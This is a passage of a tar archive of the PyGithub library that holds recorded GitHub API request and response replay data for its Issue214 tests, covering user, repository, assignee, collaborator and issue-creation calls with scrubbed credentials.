ps://github.com/twbs/bootstrap/tree/main/js/tests"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue214.setUp.txt0000644000175100001660000004732014756101563021343 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4768'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DA8:2C02300:52AF94DA'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '1395'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 16 Dec 2013 23:51:56 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"56120a0ff6bd4c69ed5aca11916c2ff8"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 17 Dec 2013 00:03:38 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false,"name":"","company":null,"blog":"","location":null,"email":"","hireable":false,"bio":null,"public_repos":10,"followers":0,"following":1,"created_at":"2012-01-28T19:38:20Z","updated_at":"2013-12-16T23:51:56Z","public_gists":0,"total_private_repos":0,"owned_private_repos":0,"disk_usage":16176,"collaborators":0,"plan":{"name":"free","space":307200,"collaborators":0,"private_repos":0},"private_gists":0} https GET api.github.com None /repos/farrd/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4767'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DAC:7BF4DD8:52AF94DA'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '14028'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 16 Dec 2013 23:29:38 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"481861750ad70aeeae3fc09b40288ade"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 17 Dec 2013 00:03:39 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"id":15089554,"name":"PyGithub","full_name":"farrd/PyGithub","owner":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/farrd/PyGithub","description":"Python library implementing the full Github API v3","fork":true,"url":"https://api.github.com/repos/farrd/PyGithub","forks_url":"https://api.github.com/repos/farrd/PyGithub/forks","keys_url":"https://api.github.com/repos/farrd/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/farrd/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/farrd/PyGithub/teams","hooks_url":"https://api.github.com/repos/farrd/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/farrd/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/farrd/PyGithub/events","assignees_url":"https://api.github.com/repos/farrd/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/farrd/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/farrd/PyGithub/tags","blobs_url":"https://api.github.com/repos/farrd/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/farrd/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/farrd/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/farrd/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/farrd/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/farrd/PyGithub/languages","stargazers_url":"https://api.github.com/repos/farrd/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/farrd/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/farrd/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/farrd/PyGithub/subscription","commits_url":"https://api.github.com/repos/farrd/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/farrd/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/farrd/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/farrd/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/farrd/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/farrd/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/farrd/PyGithub/merges","archive_url":"https://api.github.com/repos/farrd/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/farrd/PyGithub/downloads","issues_url":"https://api.github.com/repos/farrd/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/farrd/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/farrd/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/farrd/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/farrd/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/farrd/PyGithub/releases{/id}","created_at":"2013-12-10T21:12:48Z","updated_at":"2013-12-16T23:29:38Z","pushed_at":"2013-12-16T19:15:40Z","git_url":"git://github.com/farrd/PyGithub.git","ssh_url":"git@github.com:farrd/PyGithub.git","clone_url":"https://github.com/farrd/PyGithub.git","svn_url":"https://github.com/farrd/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":8785,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":3,"forks":0,"open_issues":3,"watchers":0,"default_branch":"master","master_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"parent":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-12-16T02:11:29Z","pushed_at":"2013-12-16T02:11:29Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":8785,"stargazers_count":314,"watchers_count":314,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":88,"mirror_url":null,"open_issues_count":23,"forks":88,"open_issues":23,"watchers":314,"default_branch":"master","master_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-12-16T02:11:29Z","pushed_at":"2013-12-16T02:11:29Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":8785,"stargazers_count":314,"watchers_count":314,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":88,"mirror_url":null,"open_issues_count":23,"forks":88,"open_issues":23,"watchers":314,"default_branch":"master","master_branch":"master"},"network_count":88,"subscribers_count":2} https GET api.github.com None /repos/farrd/PyGithub/issues/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4766'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DAB:78E783D:52AF94DB'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '1621'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 16 Dec 2013 23:51:58 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"10591bd2c625813e49751bcca25b7c61"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 17 Dec 2013 00:03:39 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"url":"https://api.github.com/repos/farrd/PyGithub/issues/1","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/events","html_url":"https://github.com/farrd/PyGithub/issues/1","id":24389294,"number":1,"title":"Test Issue","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-12-16T23:36:11Z","updated_at":"2013-12-16T23:51:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"","closed_by":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue214.testAssignees.txt0000644000175100001660000000327514756101563023065 0ustar00runnerdockerhttps GET api.github.com None /repos/farrd/PyGithub/assignees/farrd {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4838'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:043C:7376C18:52AF9217'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Mon, 16 Dec 2013 23:51:51 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1387240227')] https GET api.github.com None /repos/farrd/PyGithub/assignees/fake {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4837'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:0438:2A76207:52AF9218'), ('content-length', '76'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Mon, 16 Dec 2013 23:51:52 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"message":"Not Found","documentation_url":"http://developer.github.com/v3"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue214.testCollaborators.txt0000644000175100001660000001362414756101563023751 0ustar00runnerdockerhttps GET api.github.com None /repos/farrd/PyGithub/collaborators/farrd {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4765'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DAC:7BF4F10:52AF94DB'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 17 Dec 2013 00:03:40 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1387240227')] https GET api.github.com None /repos/farrd/PyGithub/collaborators/fake {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4764'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DAC:7BF4F8B:52AF94DC'), ('content-length', '76'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 17 Dec 2013 00:03:40 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"message":"Not Found","documentation_url":"http://developer.github.com/v3"} https GET api.github.com None /repos/farrd/PyGithub/collaborators/marcmenges {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4763'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DAA:61929C1:52AF94DC'), ('content-length', '76'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 17 Dec 2013 00:03:40 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"message":"Not Found","documentation_url":"http://developer.github.com/v3"} https PUT api.github.com None /repos/farrd/PyGithub/collaborators/marcmenges {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4762'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DAA:6192A15:52AF94DC'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 17 Dec 2013 00:03:41 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1387240227')] https GET api.github.com None /repos/farrd/PyGithub/collaborators/marcmenges {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4761'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DAB:78E7BE4:52AF94DD'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 17 Dec 2013 00:03:41 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1387240227')] https DELETE api.github.com None /repos/farrd/PyGithub/collaborators/marcmenges {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4760'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DAC:7BF51C3:52AF94DD'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 17 Dec 2013 00:03:41 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1387240227')] https GET api.github.com None /repos/farrd/PyGithub/collaborators/marcmenges {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4759'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DA9:6920FB1:52AF94DE'), ('content-length', '76'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 17 Dec 2013 00:03:42 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"message":"Not Found","documentation_url":"http://developer.github.com/v3"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue214.testCreateIssue.txt0000644000175100001660000000725214756101563023357 0ustar00runnerdockerhttps POST api.github.com None /repos/farrd/PyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"assignee": "farrd", "title": "Issue created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4828'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:043B:6651E72:52AF921C'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('location', 'https://api.github.com/repos/farrd/PyGithub/issues/3'), ('content-length', '2592'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"900018f8180df60c18df92fcab23cf23"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 16 Dec 2013 23:51:56 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"url":"https://api.github.com/repos/farrd/PyGithub/issues/3","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/events","html_url":"https://github.com/farrd/PyGithub/issues/3","id":24390063,"number":3,"title":"Issue created by 